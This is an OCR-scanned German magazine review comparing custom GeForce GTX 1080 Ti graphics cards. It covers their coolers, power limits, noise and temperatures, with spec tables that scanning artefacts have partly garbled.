Die VRMs geben ihre Hitze direkt 
an den großen Kühler ab, nur der 
Speicher muss mit einer Alumi- 
niumplatte vorliebnehmen. Es 
folgt Inno 3D, deren iChill X3 Ultra 
ebenfalls alle Hotspots kontaktiert, 
allerdings fehlt es den Lüftern für 
den Ernstfall an Förderleistung. 
Asus und Zotac verzichten indes- 
sen darauf, die Wandler mithilfe 
des GPU-Radiators zu kühlen. Bei 
der Strix liegt eine Metallplatte auf 
den VRMs und ein dickes Wärme- 
leitpad reicht die Abwärme an die 
aufliegenden Kühlrippen. Zotacs 
AMP! Extreme verzichtet bedauer- 
licherweise auf eine Verbindung 
zwischen dem kleinen VRM-Kühler 
und dem GPU-Lamellenblock, was 
zu höheren VRM-Temperaturen 
und daher lauter Belüftung führt. 

EVGA geht bei der SC2 und FTW3 


einen Zwischenweg: Zwar kontak- 
tiert der Radiator die Wandler nicht 
direkt, auf ihnen liegt jedoch eine 
dedizierte Heatpipe nebst Wär- 
meleitpads. Die Kühler haben das 
„sandwich-Prinzip“ perfektioniert, 
mehr Pads finden sich nirgends, 
alle Komponenten geben ihre Wär- 
me an den jeweiligen Nachbarn ab. 
Im Schaubild auf Seite 46 erfahren 
Sie mehr dazu. 


Der Hersteller hat außerdem dafür 
gesorgt, die flächendeckende Küh- 
lung in schöne Zahlen zu pressen: 
Beide Grafikkarten gehören der 
ICX-Serie an, welche EVGA Anfang 
des Jahres ins Leben gerufen hat 
(siehe PCGH 04/2017, Seite 26). 
Das Hauptmerkmal sind die neun 
zusätzlichen Temperatursenso- 
ren, welche an unterschiedlichen 
Stellen platziert wurden, darunter 
Spannungsregulatoren, RAM und 
GPU-Rückseite. Die ermittelten 
Werte lassen sich in Echtzeit aus- 
lesen (siehe nächste Seite) und lie- 
gen іп unseren Tests sowohl bei der 
GTX 1080 Ti FTW3 als auch bei der 
SC2 stets im grünen Bereich, näm- 
lich zwischen 60 und 71 °C (SC2) 
respektive 61 und 77 °C (FTW3). 


Angesichts dieser kühlen Ergebnis- 
se verwundert es uns, dass EVGA 
die getrennt regelbaren Lüfter 
nicht etwas zahmer konfiguriert 
hat. Die SC2 wird unter Last bis zu 
3,4 Sone laut, die FTW3 noch 2,6 
Sone. Das Problem sind die tem- 
porären Spitzenwerte: Manchmal, 
nicht immer, kommt es bei beiden 
Modellen vor, dass sie kurz laut 
werden - und in den folgenden Mi- 
nuten kontinuierlich etwas leiser. 
Das liegt daran, dass der primäre 
Lüfter zunächst allein arbeitet und 
bei steigender Erwärmung der an- 
dere (bzw. die anderen im Falle der 
FTW3) abrupt dazustößt. 


Die heißeste Karte jenseits von 
zwei Slots ist die Inno 3D X3 Ultra, 
sie lässt bis zu 78 °C zu. Die Model- 
le von Asus, Gigabyte, MSI und Palit 
sind vergleichbar leise, erzielen je- 
doch deutlich geringere Tempera- 
turen. Asus’ Lüfterkurve peilt 70 °C 
an, Gigabyte, MSI und Palit 72 °C. 
Zotac erreicht maximal 71 °C, wird 
dabei jedoch wesentlich lauter. 


Platine: Viele Hersteller verwen- 


den eigens kreierte Platinen, deren 
Maße sich den Kühlern anpassen; 


www.pcgameshardware.de 
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viele davon wachsen im eingebau- 
ten Zustand in Richtung Gehàuse- 
wand. Davon ausgenommen sind 
Inno 3D und KFA2, beide Herstel- 
ler nutzen die Referenzplatine mit 
10 Zentimeter Breite - inklusive 
Nvidia-Aufdruck nahe der PCIEx- 
press-Kontakte. Das ist kein Grund 
zur Kritik, denn das Founder's-PCB 
ist durchaus kràftig. 


Welche Custom-Platine die beste 
ist, lässt sich mit Hausmitteln und 
in der Gaming-Praxis nicht ermit- 
teln. Fakt: Eine verbreiterte Span- 
nungsversorgung ist positiv, denn 


je mehr Wandlerzüge, desto gerin- 
ger die Last und daraus resultie- 
rende Temperatur pro Bauteil. Die 
Hotspots werden ergo zahmer und 
verteilen sich besser auf der Leiter- 
platte. Da das Standard-PCB bereits 
für enorme Stromstärken vorbe- 
reitet ist, sind positive Effekte bei- 
spielsweise durch Zotacs „Power 
Boost“-Hochleistungskondensator 
nicht feststellbar. Auch bezüglich 
des Spulenfiepens verhalten sich 
alle Probanden vergleichbar. Jede 
High-End-Karte fiept, zirpt oder 
rattert unter Last, was nichts mit 
den Lüftern zu tun hat. Die eigene 


Ae | 


Wahrnehmung, die Bildrate, die 
Umgebungsgeräusche und nicht 
zuletzt der Rest des Rechners ent- 
scheiden, ob man das Störgeräusch 
wahrnimmt oder nicht. 


ng: Das Powerlimit ist einer 


der wichtigsten Leistungsparame- 
ter. Je höher der im BIOS hinter- 
legte Wert, desto wahrscheinlicher 
ist es, dass hohe Taktraten selbst 
bei powerintensiven Spielen ge- 
halten werden können. Die Power- 
Anforderungen steigen mit der 
Auflösung - in Ultra HD stößt fast 
jede Karte dauerhaft an ihre Watt- 


grenze. Die Hersteller müssen stets 
abwägen: Effizienz oder Leistungs- 
krone? Wir haben erneut bei jeder 
Karte das programmierte Power- 
limit ausgelesen: 


I Zotac AMP! Extreme 320 Watt 
I EVGA FTW3 Gaming 280 Watt 
I MSI Gaming X 11G 280 Watt 
IMSI Armor 11G OC 280 Watt 
I Asus Strix O11G 275 Watt 
I Inno 3D ХЗ (Ultra) 270 Watt 
I Alle übrigen 250 Watt 


Die unterschiedliche Zielsetzung 
der Hersteller ist offensichtlich. 


Mit ,ICX" führte der Nvidia-Partner EVGA im Februar die totale Überwachung ein - im positiven Sinne. ICX-Grafikkarten werden mit neun zusätzlichen 
Temperatursensoren bestückt, anstatt sich nur auf die interne GPU-Diode zu verlassen. Der Nutzer darf nicht nur gucken, sondern auch aktiv werden. 


In diesem Test mischen die beiden ICX-Modelle Geforce GTX 1080 Ti FTW3 und SC2 mit. Nutzer, die ihre Grafikkarte dem eigenen Geschmack entsprechend einstellen, haben 
mit den damit verbundenen Funktionen ihre helle Freude, denn die zusätzlichen Temperaturinformationen sind nicht bloße Dekoration: Die Lüfter, deren die FTW drei und die 


400 


du. 


— коеда тен» 
о о 
чес RER 


Russ clock W 


GEFORCE GTX 10807 
`< FT 


w3 


* GTX 1080 Ti 


OC - 


General n 


Profile Interface 


Enable Automatic Fan Control Œ 


Fan Speed Update Period ms 
Temperature Hysteresis [ 0 ] 'c 


Fan speed, % 
0 


0g 10 20 30 40 50 60 70 80 90 100 


Temperature, °С 


Fan speed, ?6 
0 


00 10 20 30 40 50 60 70 80 90 100 
Temperature, °С 


SC zwei besitzt, werden anhand der 
gewonnenen Temperaturwerte gesteuert 
— unabhängig voneinander. So kümmert 
sich der „GPU Fan” genannte Hauptlüf- 
er um das Wohlergehen des Grafikchips, 
während der „Power Fan" am hinteren 
eil der Platine in Abhängigkeit zur Tem- 
peratur der Spannungswandler arbeitet. 
Die FTW3 verfügt außerdem über einen 
„Memory Fan" in der Mitte. Die Lüfter 
assen sich (nur) mithilfe des EVGA-Tools 
Precision XOC getrennt voneinander 
regeln, ganz abschalten oder mittels ei- 
gener Kurven konfigurieren. Wer das Tool 
über Steam bezieht, schaltet dabei sogar 
Errungenschaften frei. Die Sensor-In- 
formationen lassen sich mithilfe des 
On-Screen-Displays (OSD) auch während 
des Spielens einblenden. 


FAN CURVE for Memory x 


Fan speed, % 
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Die meisten belassen das Power- 
limit auf dem Referenzwert und 
erhöhen nur die Taktraten. Inno 
3D, Asus, EVGA (FTW3) und MSI 
steigern das Limit indessen behut- 
sam, während Zotac die Watt-Keule 
schwingt und als einziger Herstel- 
ler die 300er-Hürde nimmt. 


Ob sich ein hohes Powerlimit in ho- 
hen Bildraten niederschlägt, hängt 
nicht nur von der Stärke des Küh- 
lers ab, sondern auch von der werk- 
seitigen Übertaktung. Je höher der 
(garantierte) Basistakt, desto höher 
fällt der dynamische Boost aus - so- 
lange nicht vorher das Power- oder 
Temperaturlimit hineingrätschen! 
Da auch der Grafikspeicher Ener- 
gie benötigt, die vom Gesamtbud- 
get und somit der GPU abgeht, 
kann erhöhter Speichertakt in un- 


günstigen Situationen Leistung Kos- 
ten - gut, dass die wenigen Modelle 
mit werkseitig übertaktetem Spei- 
cher (Aorus, iChill, AMP! Extreme) 
über Wattpolster 
verfügen. Da die Custom-Designs 
das Temperaturlimit mithilfe ihrer 
starken Kühler weitgehend aushe- 


ausreichende 


beln, ist das Powerlimit der einzige 
Faktor, der die Karten unter Volllast 
ausbremst. In der Praxis äußert sich 
das bei allen Teilnehmern gleich: 
Das Powerlimit wird, sofern nicht 
in Full HD gespielt wird oder der 
Prozessor limitiert, zu 100 Prozent 
ausgereizt. Wer seine GTX 1080 Ti 
in Ultra HD verwendet, operiert 
folglich stets am Powerlimit. 


Beim Blick auf unsere Angaben 
des Mindestboosts wird das Nahe- 
liegende deutlich Die Modelle 


mit einem hohen Powerlimit sind 
im Ernstfall standhafter als ihre 
Mitbewerber mit nur 250 Watt. 
Fühlbar ist die Differenz von cir- 
ca 1.700 zu meist 1.800 bis 1.850 
MHz nicht, auf der Suche nach den 
schnellsten Karten führt aber kein 
Weg an einem erhöhten Powerlimit 
vorbei. Wichtig ist weiterhin, dass 
der Boost von Serienstreuung be- 
einflusst wird, zwei Exemplare der 
gleichen Karte können sich leicht 
unterschiedlich verhalten. 


Die Zotac AMP! 
eine Ausnahmeposition ein: Die 
320-Watt-TDP erlaubt es der Karte, 
den PCGH-Watt-Worst-Case, Anno 
2070 in UHD, mit 1,9 GHz zu be- 
rechnen. Als einzige Karte stößt 
sie in Crysis 3 (1080p) nicht an ihr 
Powerlimit, dort wird es nur zu ca. 


Extreme nimmt 


85 Prozent ausgefüllt. Die Kehrsei- 
te der Medaille ist, dass die AMP! 
Extreme unter Volllast trotz ihres 
großen Kühlers zu den lautesten 
Karten zählt - die Founder’s Edi- 
tion und die MSI Armor OC, welche 
ihren Dual-Slot-Kühler mit 280 Watt 
(ru) 


Fazit Нагйшаге 


GTX 1080 Ti: Herstellerdesigns 
Betuchte Spieler finden eine groBe Aus- 
wahl attraktiver Grafikkarten vor — 700 
Euro müssen Sie mindestens investie- 
ren. Wichtig ist der Blick auf die De- 
tailunterschiede, denn nicht jedes Mo- 
dell eignet sich für jeden Einsatzzweck. 
Auf der Testtabellen-Doppelseite fin- 
den Sie alle Messwerte zum Vergleich 
und gezielten Auswählen. 


überfordert, ausgenommen. 


Aktuelle Liste Herstellerdesigns der Geforce GTX 1080 Ti - mehr unter www.pcgh.de/1080ticustoms 


Hersteller | Produkt Basistakt | Typ. Boost | Speichertakt (MHz) Kühlsystem Strombuchsen | Powerlimit (Standard/Maximum) 
Nvidia et al. | GTX 1080 Ti Founder's Edition .480 .582 5.508 2 Slots, 1 x Radial 1 x 8-/1 x 6-Pol 250/300 Watt P 
Asus GTX 1080 Ti Poseidon P11G .594 .709 5.508 Hybrid-Custom 2 x 8-Pol Unbekannt 3 
Asus GTX 1080 Ti Strix O11G 1.569 .683 5.508 2,5 Slots, 3 x Axial 2 х 8-Pol 275/330 Watt E 
Asus GTX 1080 Ti Strix .480 .582 5.508 2,5 Slots, 3 x Axial 2 x 8-Pol 250/vmtl. 300 Watt M 
Asus GTX 1080 Ti Turbo .480 ‚582 5.508 2 Slots, 1 x Radial x 8-/1 x 6-Po 250/vmtl. 300 Watt E 
EVGA GTX 1080 Ti FTW3 Gaming .569 .683 5.508 2 Slots, 3 x Axia 2 x 8-Pol 280/330 Watt (BIOS 2: 280/358W) E 
EVGA GTX 1080 Ti SC2 Hybrid 557 .670 5.508 AIO-Wasserkühlung x 8-/1 x 6-Po 250/300 Watt = 
EVGA GTX 1080 Ti SC2 Gaming 1:557 .670 5.508 2 Slots, 2 x Axia x 8-/1 x 6-Po 250/300 Watt 5 
EVGA GTX 1080 Ti SC Black Edition ‚557 ‚670 5.508 2 Slots, 2 x Ахїа x 8-/1 x 6-Po 250/k.A. Watt ri 
Gigabyte GTX 1080 Ti Aorus Xtreme Edition .607 721 5.616 2,5 Slots, 3 х Axial 2 x 8-Pol 250/375 Watt = 
Gigabyte GTX 1080 Ti Aorus ‚569 ‚683 5.508 2,5 Slots, 3 x Axia 2 x 8-Pol 250/vmtl. 375 Wa = 
Gigabyte GTX 1080 Ti Gaming ОС ‚518 .632 5.508 2 Slots, 3 x Axia 1 x 8-41 x 6-Po 250/vmtl. 300 Watt E 
Gigabyte GTX 1080 Ti Gaming .480 .582 5.508 2 Slots, 3 x Axia x 8-/1 x 6-Po 250/vmtl. 300 Wa = 
Gigabyte GTX 1080 Ti Turbo 1.480 ‚582 5.508 2 Slots, 1 x Radia 1 x 8-/1 x 6-Po 250/vmtl. 300 Wa Е 
Inno 30 GTX 1080 Ti iChill X4 Ultra .607 ‚721 5.700 2,5 Slots, 3 + 1 Axial x 8-/1 x 6-Po 270/vmtl. 315 Wa E 
Inno 3D GTX 1080 Ti iChill X4 1.569 .683 5.700 2,5 Slots, 3 + 1 Axial | 1 x 8-/1 x 6-Po 270/vmtl. 315 Wa SS 
Inno 3р GTX 1080 Ti iChill X3 Ultra 1.607 1.721 5.700 2,5 Slots, 3 x Axia x 8-/1 x 6-Po 270/315 Watt 5 
Inno 3D GTX 1080 Ti iChill X3 1.569 1.683 5.700 2,5 Slots, 3 x Axia x 8-/1 x 6-Po 270/vmtl. 315 Wa = 
Inno 3D GTX 1080 Ti Gaming ОС .557 1.670 5.508 2 Slots, 2 x Axia x 8-/1 x 6-Po Unbekannt (vmtl. 250/300 Watt) а 
Inno 3р GTX 1080 Ti (Twin) X2 1.480 1.582 5.508 2 Slots, 2 x Axia 1 x 8-/1 x 6-Po 250/300 Watt 8 
KFA2 GTX 1080 Ti EXOC White EEN 1.645 5.508 2 Slots, 2 x Axia x 8-/1 x 6-Po Unbekannt = 
KFA2 GTX 1080 Ti EXOC 2291] 1.645 5.508 2 Slots, 2 х Ахіа х 8-/1 x 6-Po| 250/300 Watt 3 
KFA2 GTX 1080 Ti .480 1.582 5.508 2 Slots, 1 x Radial x 8-/1 x 6-Po 250/vmtl. 300 Wat = 
Manli GTX 1080 Ti Blower Fan .480 1.582 5.508 2 Slots, 1 x Radial x 8-/1 x 6-Po 250/vmtl. 300 Wat 3 
MSI GTX 1080 Ti Lightning Z .582 .695 5.562 3 Slots, 3 x Axia 3 x 8-Po Unbekannt В 

SI GTX 1080 Ti Sea Hawk EK .544 .657 5.508 Fullcover-Wakü 2 x 8-Po 280/vmtl. 330 Wat! E] 

SI GTX 1080 Ti Sea Hawk .544 .657 5.508 Hybrid-AiO-Wakü x 8-/1 x 6-Po 280/vmtl. 330 Wat Е 

51 СТХ 1080 Ti Gaming X 1.544 1.657 5.508 2,5 Slots, 2 x Axia 2 x 8-Po 280/330 Watt 2 

SI GTX 1080 Ti Armor OC .531 .645 5.508 2 Slots, 2 x Axia 2 x 8-Po 280/330 Watt Š 

SI GTX 1080 Ti Aero OC .506 .620 5.508 2 Slots, 1 x Radia x 8-/1 x 6-Po 250/vmtl. 300 Wat! Së? 
Palit GTX 1080 Ti Game Rock Premium 557 .670 5.508 2,5 Slots, 2 x Axia 2 x 8-Po 300/350 Watt $ 5 
Palit GTX 1080 Ti Game Rock .506 .620 5.508 2,5 Slots, 2 x Axia 2 x 8-Po 300/k.A. Watt Е Е 
Palit GTX 1080 Ti Super Jetstream 1531 .645 5.508 2,5 Slots, 2 x Axia 2 x 8-Po 250/350 Watt Е = 
Palit GTX 1080 Ti Jetstream .480 .582 5.508 2,5 Slots, 2 x Axia 2 x 8-Po 250/vmtl. 300 Watt ES 
PNY GTX 1080 Ti XLR8 OC Gaming EEN .645 5.508 2 Slots, 3 x Axial 1 x 8-/1 x 6-Pol 250/vmtl. 300 Watt E E 
PNY GTX 1080 Ti Blower 1.480 582 5.508 2 Slots, 1 x Radia 1 x 8-/1 x 6-Pol 250/vmtl. 300 Watt š š 
Zotac GTX 1080 Ti AMP! Extreme 1.645 1.759 5.600 3 Slots, 3 x Axial 2 x 8-Po 320/384 Watt Е 5 
Zotac GTX 1080 Ti AMP! Extreme Core 1.607 721 5.600 3 Slots, 3 х Axial 2 x 8-Po 320/k.A. Watt E E 
Zotac GTX 1080 Ti AMP! .569 .683 5.508 2 Slots, 2 x Axial 2 x 8-Po 270/К.А. Watt ER 
Zotac GTX 1080 Ti Blower 1.480 582 5.508 2 Slots, 1 x Radial 1 x 8-/1 x 6-Pol 250/vmtl. 300 Watt E Е 
Zotac GTX 1080 Ti Mini .506 .620 5.508 2 Slots, 2 x Axial 2 x 8-Po 250/vmtl. 300 Watt ER: 
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E GRAFIKKARTEN | Geforce GTX 1080 Ti: Herstellerdesigns (Teil 2) 


Aufwendige „Sandwich”-Kühlung am Beispiel der EVGA GTX 1080 Ti SC2 


Nachdem die ACX-Modelle in speziellen Szenarien zur Überhitzung neigten, packten EVGAs Ingenieure das Problem beim Schopfe: Die Nachfolger ICX 
sind nicht nur mit zahlreichen Thermalsensoren bestückt, sondern auch auf größtmögliche Oberfläche und Wärmeleitung getrimmt - so sehr, dass es bei- 
nahe übertrieben wirkt. Alle Ebenen der Karte sind durch mehrere Wármeleitpads miteinander verbunden, mit besonderem Augenmerk auf den Hotspots. 


Die Grundplatte, auch 
Base Plate genannt, 
ist keine Alu-Flunder, 
sondern zwecks 
größerer Oberfläche 
mit Noppen bestückt. 
Eine Heatpipe im 
VRM-Bereich leitet die 
Hitze von dort weg. 


Die Platine ist weitgehend ein Referenz-Nachbau 
mit VRM-Vollbestückung, wurde jedoch mit m 
„ zusätzlichen Temperaturfühlern bestückt. ] 9 


"33 MM i 


CUG: vec 


Die Backplate kann mehr, als der Platine 
Stabilität und Kratzschutz zu verleihen: 
Sie nimmt dank einiger Wärmeleitpads 
die Abwárme der PCB-Hotspots auf. 
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Produktname 
Hersteller/Webseite 


Hardware 


MSI (http://de.msi.com) 


Test in PCGH 06/2017 (PDF auf DVD) 


GTX 1080 Ti Aorus Xtreme Ed 
Gigabyte (www.gigabyte.de) 


Asus (www.asus.com/de) 


Ca.-Preis/Preis-Leistungs-Verhältnis 


Ca. € 770,-/ausreichend 


Ca. € 790,-/ausreichend 


Ca. € 810,-/mangelhaft 


www.pcgh.de/preis/1599330 


www.pcgh.de/preis/1598560 


www.pcgh.de/preis/1587607 


PCGH-Preisvergleich 


2D-Takt GPU/RAM (Spannung) 


203/405 MHz (0,650 VGPU) 


278/405 MHz (0,650 VGPU) 


240/405 MHz (0,650 VGPU) 


3D-Basis-/Boost-Takt GPU/RAM (Übertaktung) 
Ausstattung (20 %) 
Speichermenge/Anbindung 


.544 (Boost: 1.810+)/1.377 MHz (+17/0 % OC) 
2,18 
1.264 MiByte (352 Bit) 


1.607 (Boost: 1.747+)/1.404 MHz (+13/+2 % OC) 
2,18 
11.264 MiByte (352 Bit) 


1.569 (Boost: 1.823+)/1.377 MHz (+18/0 % ОС) 
2,23 
11.264 MiByte (352 Bit) 


Speicherart/Hersteller 


1-Gbps-GDDR5X (Micron MT58K256M321-JA110) 


11-Gbps-GDDR5X (Micron MT58K256M321-JA110) 


11-Gbps-GDDR5X (Micron MT58K256M321-JA110) 


Monitoranschlüsse 


2 x Displayport (1.4-ready), 2 x HDMI 2.0b, 1 x DVI-D 


3 x Displayport (1.4-ready), 3 x HDMI 2.0b, 1 x DVI-D 


2 x Displayport (1.4-ready), 2 x HDMI 2.0b, 1 x DVI-D 


Kühlung win Frozr VI, 2,5-Slot, 5 Heatp. (1 x 8, 4 x 6 mm), 2 x 95 mm | Eigendesign, Triple-Slot, 6 Heatp. (5 x 8, 1 x 6 mm), 3 x 95 Eigendesign, 2,5-Slot, 6 Heatpipes à 6 mm, 3 x 90 mm axial, 
axial, Radi bedeckt VRMs, Platte für RAM; Backplate (o. Pads) | mm axial, Radiator bedeckt VRMs/RAM + Backplate (inkl. Pads) | Kühlplatte für VRMs und RAM; Backplate (ohne Pads) 

Software/Tools/Spiele Afterburner & Gaming App (Tweak-Tools), Treiber = GPU Tweak II (Tweak-Tool), Treiber, Software 

Handbuch; Garantie Als Comic (englisch); 3 Jahre Gedruckt (deutsch); 4 Jahre nach Registrierung bei Gigabyte | Gedruckt (deutsch); 3 Jahre 

Kabel/Adapter/Beigaben x Strom: 6-auf-8-Pol; Aufkleber 1 x Strom: 2x6-auf-8-Pol; Aufkleber 1 x Strom: 2x6-auf-8-Pol; Kabelbinder 

Sonstiges Breites Custom-PCB mit 8+2 Phasen; Lüfter drehen ab -64 °C |Breites Custom-PCB mit 12+2 Phasen; „VR Link" (viele HD- Breites Custom-PCB (10-2 Phasen, Volt-Messpunkte, 2 Fan- 
ап; TDP: 280 Watt; bootet aktiv; Zusatzmodi via Gaming App ` | Ml-Ports); TDP: 250 Watt; Lüfter drehen ab -58 °C Anschlüsse), TDP: 275 Watt; Lüfter drehen ab -58 °C 

Eigenschaften (20 %) 2,12 2,16 2,23 

Temperatur GPU (2D-Leerlauf/Spiel/Extremfall) 44172172 Grad Celsius 45/72/72 Grad Celsius 46/70/70 Grad Celsius 


Lautheit (+PWM) aus 50 cm (2D/Spiel/Extremfall) 


0,0 (passiv)/1,9 (59 %)/1,9 (59 %) Sone 


0,0 (passiv)/1,7 (57 %)/1,8 (58 %) Sone 


0,0 (passiv)/2,2 (45 %)/2,2 (45 %) Sone 


Spulenpfeifen/-zirpen (unter Last) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Gemessener Verbrauch 2D/UHD-Video/2 LCDs 


15/22/17 Watt 


18/26/20 Watt 


16/22/19 Watt 


Verbrauch Crysis 3/Anno 2070/Extremfall 


277/280/283 Watt (Powertarget: 100 Prozent) 


250/251/252 Watt (Powertarget: 100 Prozent) 


260/276/277 Watt (Powertarget: 100 Prozent) 


Maximale GPU-Übertaktung (UHD-stabil) 


2.075 MHz mit 100 96 Power/Voltage/Fan (+15 %) 


2.075 MHz mit 100 % Power/Voltage/Fan (+19 %) 


2.050 MHz mit 100 % Power/Voltage/Fan (+12 %) 


Maximale RAM-Übertaktung (UHD-stabil) 


6.100 MHz mit 100 96 Power/Voltage/Fan (+11 96) 


6.200 MHz mit 100 % Power/Voltage/Fan (+10 96) 


6.200 MHz mit 100 96 Power/Voltage/Fan (+14 96) 


Spannungs-/Power-Ánderung in Tools möglich? 


Ja (GPU bis 100 96; Powerlimit bis 117 96 (= 330W) 


Ja (GPU bis 100 96; Powerlimit bis 150 96 (= 375W) 


Ja (GPU bis 100 96; Powerlimit bis 120 96 (= 330W) 


Länge/Breite/Höhe der Karte; Stromstecker 
Leistung im PCGH-Index (60 %) 


27,8 (PCB: 27,8x12,8)/4,5 cm; 2 x 8-Pol (vertikal) 
111 


© Starker, leiser Kühler 
© 3 Betriebsmodi via Gaming App 
© Platzbedarf im Gehäuse 


29,3 (PCB: 26,7x11,0)/5,5 cm; 2 x 8-Pol (vertikal) 
1,12 


© Kompromissloser, sehr guter Kühler 
© Bis zu 375W Powerbudget 
© Platzbedarf im Gehäuse (Triple-Slot) 


30,0 (PCB: 28,1x11,8)/4,6 cm; 2 x 8-Pol (vertikal) 
1,10 


© Sehr schnell 
© Spezialfunktionen für Tuner 


Test in PCGH 06/2017 (PDF auf DVD) 


Test in PCGH 06/2017 (PDF auf DVD) 
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Produktname 
Hersteller/Webseite 


GTX 1080 Ti iChill X3 Ultra 


Inno 3D (www.inno3d.com) 


GTX 1080 Ti AMP! Extreme 


Zotac (www.zotac.com) 


GTX 1080 Ti FTW3 Gaming 
EVGA (de.evga.com) 


Ca.-Preis/Preis-Leistungs-Verhältnis 


Ca. € 780,-/ausreichend 


Ca. € 850,-/mangelhaft 


Ca. € 870,-/mangelhaft 


PCGH-Preisvergleich 


www.pcgh.de/preis/1591589 


www.pcgh.de/preis/1593440 


www.pcgh.de/preis/1595665 


2D-Takt GPU/RAM (Spannung) 


278/405 MHz (0,650 VGPU) 


278/405 MHz (0,650 VGPU) 


240/405 MHz (0,650 VGPU) 


3D-Basis-/Boost-Takt GPU/RAM (Übertaktung) 
‚Ausstattung (20 %) 
Speichermenge/Anbindung 


1.607 (Boost: 1.835+)/1.426 MHz (+18/+4 % ОС) 
2,28 
11.264 MiByte (352 Bit) 


1.645 (Boost: 1.898+)/1.400 MHz (+22/+2 % ОС) 
2,28 
11.264 MiByte (352 Bit) 


1.569 (Boost: 1.823+)/1.377 MHz (+18/0 % OC) 
2,20 
11.264 MiByte (352 Bit) 


Speicherart/Hersteller 


11-Gbps-GDDR5X (Micron MT58K256M321-JA110) 


11-Gbps-GDDR5X (Micron MT58K256M321-JA110) 


11-Gbps-GDDR5X (Micron MT58K256M321-JA110) 


Monitoranschlüsse 


3 x Displayport (1.4-ready), 1 x HDMI 2.0b, 1 x DVI-D 


3 x Displayport (1.4-ready), 1 x HDMI 2.06, 1 x DVI-D 


3 x Displayport (1.4-ready), 1 x HDMI 2.0b, 1 x DVI-D 


Kühlung Eigendesign, 2,5-Slot, 6 Heatp. (2 x 8, 3 x 6 mm), 3 x 90 mm |Ice Storm, Triple-Slot, 6 Heatp. (5 x 8, 1 x 6 mm), 3 x 90 mm |Eigendesign, Dual-Slot, 6 HP (3 x 8, 3 x 6 mm), 3 x 90 mm 
axial, Radi bedeckt VRMs, Platte für RAM; Backplate (o. Pads) _ | axial, Radi bedeckt RAM; VRM-Profil; Backplate (ohne Pads) axial, Sandwich-Design inkl. Backplate mit vielen Wärmeleitpads 
Software/Tools/Spiele Codes für VR Mark & 3D Mark Advanced; Treiber Firestorm (Tweak-Tool), Treiber Precision ХОС (Tweak-Tool), Treiber 


Handbuch; Garantie 


Faltblatt (englisch); 3 Jahre 


Faltblatt (dt.); 5 Jahre nach Registrierung bei Zotac 


Gedruckt (deutsch); 3 Jahre + Option auf mehr 


Kabel/Adapter/Beigaben 


Mauspad (Stoffmatte) 


2 x enthalten: 2x6-auf-8-Pol-Strom 


2 x enthalten: 2x6-auf-8-Pol-Strom; Poster, div. Aufkleber 


Sonstiges 


Eigenschaften (20 %) 
Temperatur GPU (2D-Leerlauf/Spiel/Extremfall) 


Referenzplatine mit 7 Phasen à 2 Mosfets (GPU), 2 Phasen für 
(RAM); TDP: 270 Watt; Lüfter drehen ab -63 °C 


2,26 
48/78/78 Grad Celsius 


Breites Custom-PCB; Lüfter drehen ab ~52 °C; ausgelesene 
TDP: 320 Watt 


2,42 
45/71/71 Grad Celsius 


Custom-PCB mit 5 Doppel-Phasen, Dual-BIOS; TDP: 280 Watt 
(beide Firmwares; BIOS 2 max. 358W); Lüfter drehen ab -58 °C 


2,31 
40/72/72 Grad Celsius 


Lautheit (+PWM) aus 50 cm (2D/Spiel/Extremfall) 


0,0 (passiv)/1,8 (93 %)/1,8 (93 %) Sone 


0,0 (passiv)/3,6 (70 %)/3,6 (70 %) Sone 


0,0 (passiv)/2,6 (48 %)/3,5 (48 % — siehe Text!) Sone 


Spulenpfeifen/-zirpen (unter Last) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Unauffällig (erst ab hohen vierstelligen Fps) 


Gemessener Verbrauch 2D/UHD-Video/2 LCDs 


14/20/18 Watt 


16/24/19 Watt 


16/20/18 Watt 


Verbrauch Crysis 3/Anno 2070/Extremfall 


270/272/273 Watt (Powertarget: 100 Prozent) 


2721319/326 Watt (Powertarget: 100 Prozent) 


277/290/290 Watt (Powertarget: 100 Prozent) 


Maximale GPU-Übertaktung (UHD-stabil) 


2.025 MHz mit 100 96 Power/Voltage/Fan (+10 96) 


2.038 MHz mit 100 96 Power/Voltage/Fan (+7 96) 


2.050 MHz mit 100 96 Power/Voltage/Fan (+12 %) 


Maximale RAM-Übertaktung (UHD-stabil) 


5.800 MHz mit 100 96 Power/Voltage/Fan (+2 96) 


6.200 MHz mit 100 % Power/Voltage/Fan (+11 96) 


6.000 MHz mit 100 96 Power/Voltage/Fan (+9 %) 


Spannungs-/Power-Änderung in Tools möglich? 


Ja (GPU bis 100 %; Powerlimit bis 116 % (= 315W) 


Ja (GPU bis 100 96; Powerlimit bis 120 96 (= 384W) 


Ja (GPU bis 100 96; Powerlimit bis 117 96 (= 330W) 


Länge/Breite/Höhe der Karte; Stromstecker 
Leistung im PCGH-Index (60 %) 


30,2 (PCB: 26,7x10,0)/4,5 cm; 1 x 8-/1 x 6-Pol (vertikal) 
1,05 


© Zweitschnellste GTX 1080 Ti 
© Leiser Kühler ... 
©... der aber kaum Reserven hat 


31,0 (PCB: 28,0x12,8)/5,3 cm; 2 x 8-Pol (vertikal) 
1,02 


© Schnellste GTX 1080 Ti 
© Bis zu 5 Jahre Garantie 
© Lautheit und Leistungsaufnahme 


30,1 (PCB: 29,0х12,5)/3,5 cm; 2 x 8-Pol (vertikal) 
1,10 


© Stärkste Dual-Slot-Karte 
© Monitoring-Funktionen + Dual-BIOS 
© Hoher Preis 
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Geforce GTX 1080 Ti: Herstellerdesigns (Teil 2) | GRAFIKKARTEN 


SECHER, 
TOP-TECHNIK 


GRAFIKKARTEN 


3 E 


Produktname 
Hersteller/Webseite 


ing 
Custom Loop. 


Нагйшаге 


Gn 


GTX 1080 Ti Custom 


Caseking (www.caseking.de) 


GTX 1060 fi Ех0С 


Hardware 


GTX 1080 Ti EXOC 
KFA2 (www.kfa2.com) 


MSI (http://de.msi.com) 


Ca.-Preis/Preis-Leistungs-Verhältnis 


PCGH-Preisvergleich 


2D-Takt GPU/RAM (Spannung) 


Ca. € 1.150,-/mangelhaft Ca. € 720,-/ausreichend Ca. € 730,-/ausreichend 
Nicht aufgeführt www.pcgh.de/preis/1602039 www.pcgh.de/preis/1599331 
139/405 MHz (0,650 VGPU) 203/405 MHz (0,650 VGPU) 203/405 MHz (0,650 VGPU) 


